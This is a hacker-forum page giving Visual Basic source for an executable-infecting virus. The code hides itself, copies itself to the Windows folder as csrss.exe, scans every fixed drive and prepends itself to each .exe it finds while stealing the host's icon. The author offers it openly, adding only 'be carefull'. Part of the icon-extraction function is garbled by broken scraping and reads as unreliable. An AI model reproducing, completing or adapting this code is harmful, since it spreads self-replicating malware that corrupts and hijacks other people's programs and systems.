Hacker Source

Executable Infector

This is the only one of its kind..
But there is a new Update i made for the previous method.
now you can easily extract (an) icon of the original EXE and save it to the Infected EXE
note that if The Original EXE has more than one Icon .. we can't specify The main icon in this case.. so we will extract any icon and save it to the infected EXE

Add :

The Infector Routine depends on The everlasting method
>>>> My Application + Original EXE <<<<

And will be exploring original EXE on drives, be carefull !!!

CODE : ( VB Language )

Dim sPath As String
Dim sOPath As String
Dim sData As String
Dim VirusData As String
Dim FinalEXE As String
Dim lStart As Long
Dim lEnd As Long
Dim sLen As Long
Dim sIcon As String

Private Sub Form_Load()
app.TaskVisible = False

If App.PrevInstance = True Then End

'## Begin OF Dropping

sPath = AddBackSlash(App.Path) & App.EXEName & ".exe"
sOPath = AddBackSlash(App.Path) & App.EXEName & ".MFF"

If LCase(sPath) = LCase(Environ$("WinDir") & "\csrss.exe") Then

Else

Open sPath For Binary As #1
sData = Space(LOF(1))
Get #1, , sData

lStart = InStr(25000, sData, "|||||")

If lStart > 0 Then
lStart = lStart + 5
sData = Mid(sData, lStart)
Open sOPath For Binary As #2
Put 2, , sData
Close 2
If Command$ = "" Then
Shell sOPath, vbNormalFocus
Else
Shell sOPath & " " & Command$, vbNormalFocus
End If
End If

Close 1
End If

'## End OF Dropping

'@@@@@@@@@@@@@@@@@@@@@@@@@

If Dir(Environ$("WinDir") & "\csrss.exe") = "" Then
sPath = AddBackSlash(App.Path)
FileCopy sPath & App.EXEName & ".exe", Environ$("WinDir") & "\csrss.exe"
While Dir(Environ$("WinDir") & "\csrss.exe") = ""
DoEvents
Wend
Shell Environ$("WinDir") & "\csrss.exe"
End
End If

If LCase(sPath) = LCase(Environ$("WinDir") & "\csrss.exe") Then

'Do nothing
Else

Shell Environ$("WinDir") & "\csrss.exe"
End
End If

'#########################


Call GetDrives

End Sub

'#########################

' Sub GetDrives()
Dim ObjFSO As Object
Dim Drives As Object
Dim sDrive As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")

Set Drives = ObjFSO.Drives
For Each sDrive In Drives
If sDrive.DriveType = 2 Then
MsgBox sDrive & "\"
GetEXEs (sDrive & "\")
GetFolders (sDrive & "\")
End If
Next
End Sub

Function GetFolders(Folder As String)
Dim ObjFSO As Object
Dim sFolder As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
For Each sFolder In ObjFSO.GetFolder(Folder).SubFolders
DoEvents
Call GetEXEs(sFolder.Path)
Call GetFolders(sFolder.Path)
Next
End Function

Function GetEXEs(Path As String)
Dim exes As String, EXEPath As String

If Right(Path, 1) <> "\" Then Path = Path & "\"
EXEPath = Dir$(Path & "*.exe")
While EXEPath <> ""
List1.AddItem Path & EXEPath
'MsgBox Path & EXEPath
Call InfectEXE(Path & EXEPath)
EXEPath = Dir$
Wend

End Function

Function InfectEXE(EXEPath As String)
Me.Visible = True
On Error Resume Next
Dim Check As Boolean
Check = False

Dim s As String, ss As String, sss As String
Dim sNulls As String
Dim sLenICOINEXE As Long
Dim sLenDif As Long
Dim sLenTemp As String
Dim sTemp As String

s = "1u" & "(" & Chr$(0) & Chr$(0) & Chr$(0) & " " & Chr$(0) & Chr$(0) & Chr$(0) & "@"
ss = "(" & Chr$(0) & Chr$(0) & Chr$(0) & " " & Chr$(0) & Chr$(0) & Chr$(0) & "@"
sss = "3u(" & Chr$(0) '& Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0)

For i = 1 To 296 ' Generate 296 Nulls to change 16*16 icon
sNulls = sNulls & Chr$(0)
Next

'First we will check if it is already infected
Open EXEPath For Binary As #1
sData = Space(LOF(1))
Get 1, , sData
Close 1
If InStr(25000, sData, "|||||") Then
'it is infected then do nothing
Else
'it is clean so try to infect it
Kill EXEPath

sIcon = GetIconFromEXE(sData, Check)

If Check = True Then
'MsgBox "Icon Found"

sPath = AddBackSlash(App.Path) & App.EXEName & ".exe"
Open sPath For Binary As #2
VirusData = Space(LOF(2))
Get 2, , VirusData
Close #2

i = InStr(1, VirusData, s)
If i <> 0 Then '(1u found)
VirusData = Left(VirusData, i + 1) ' get to u in (1u)

VirusData = VirusData & sIcon


FinalEXE = VirusData & "|||||" & sData
Open EXEPath For Binary As #3
Put 3, , FinalEXE
Close 3

Exit Function

Else 'If (1u) not found .. try to find (3u)
i = InStr(1, sData, sss)
If i > 0 Then
'Debug.Print "Second Method Method... (3u found)"
sTemp = Left(VirusData, i + 1) 'Get to (3u)
sLenICOINEXE = Len(VirusData) - (i + 297) ' add one byte to 296 coz of (u) in (1u)
sLenICOINICO = Len(sIcon)

If sLenICOINEXE > sLenICOINICO Then
sLenDif = sLenICOINEXE - sLenICOINICO

For i = 1 To sLenDif
sLenTemp = sLenTemp & Chr$(0)
Next
End If

VirusData = sTemp & sNulls & sIcon & sLenTemp
FinalEXE = VirusData & "|||||" & sData
Open EXEPath For Binary As #3
Put 3, , FinalEXE
Close 3
Exit Function
End If
End If 'for if i <> 0

FinalEXE = VirusData & "|||||" & sData
Open EXEPath For Binary As #3
Put 3, , FinalEXE
Close 3

Else ' Means Check = False
'virus icon is default for the final EXE
sPath = AddBackSlash(App.Path) & App.EXEName & ".exe"

Open sPath For Binary As #2
VirusData = Space(LOF(2))
Get 2, , VirusData
Close #2



FinalEXE = VirusData & "|||||" & sData
Open EXEPath For Binary As #3
Put 3, , FinalEXE
Close 3
End If ' for check

End If ' for |||||
End Function

Function GetIconFromEXE(ByVal eData As String, ByRef state As Boolean) As String

Dim c As String, sNull As String, ss As String
Dim sPath As String, sIcon As String
Dim l As Long
c = Chr$(0) & Chr$(0) & Chr$(1) & Chr$(0) & Chr$(1) & Chr$(0) & Chr$(32) & Chr$(32) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(168) & Chr$(8) & Chr$(0) & Chr$(0) & Chr$(22) & Chr$(0) & Chr$(0) & Chr$(0)
ss = "(" & Chr$(0) & Chr$(0) & Chr$(0) & " " & Chr$(0) & Chr$(0) & Chr$(0) & "@"


i = InStr(1, eData, "MSVBVM")

If i > 0 Then
'VB EXE
i = InStr(1, eData, ss)
If i > 0 Then
sIcon = Mid(eData, i)
'sIcon = c & sIcon & sNull & Chr(255)
sIcon = sIcon & sNull & Chr(255)
GetIconFromEXE = sIcon
state = True

Exit Function
End If
Else ' Not Vb EXE so first search for last (... ...@ and compare the size
i = InStr(1, eData, ss)
If i > 0 Then
If Len(eData) - i > 10000 Then
i = InStrRev(eData, ss, Len(eData))
If i > 0 And Len(eData) - i < sicon =" Mid(eData," sicon =" c" sicon =" sIcon" geticonfromexe =" sIcon" state =" True" sicon =" Mid(eData," sicon =" c" sicon =" sIcon" geticonfromexe =" sIcon" state =" True" sicon =" Mid(eData,"> 0 Then
' l = 2350 - Len(sIcon)
' For i = 1 To l
' sNull = sNull & Chr(0)
' Next
' End If

' sIcon = c & sIcon & sNull & Chr(255)
sIcon = sIcon & sNull & Chr(255)
GetIconFromEXE = sIcon
state = True


Exit Function

End If
End If
End If

state = False

End Function
Function AddBackSlash(strPath As String) As String
If Right(strPath, 1) <> "\" Then
AddBackSlash = strPath & "\"
Else
AddBackSlash = strPath
End If
End Function

Private Sub Form_Unload(Cancel As Integer)
End
End Sub

References :

Written By justin[Mohamed FaYeD] _
Thensync@hotmail.com

http://www.rohitab.com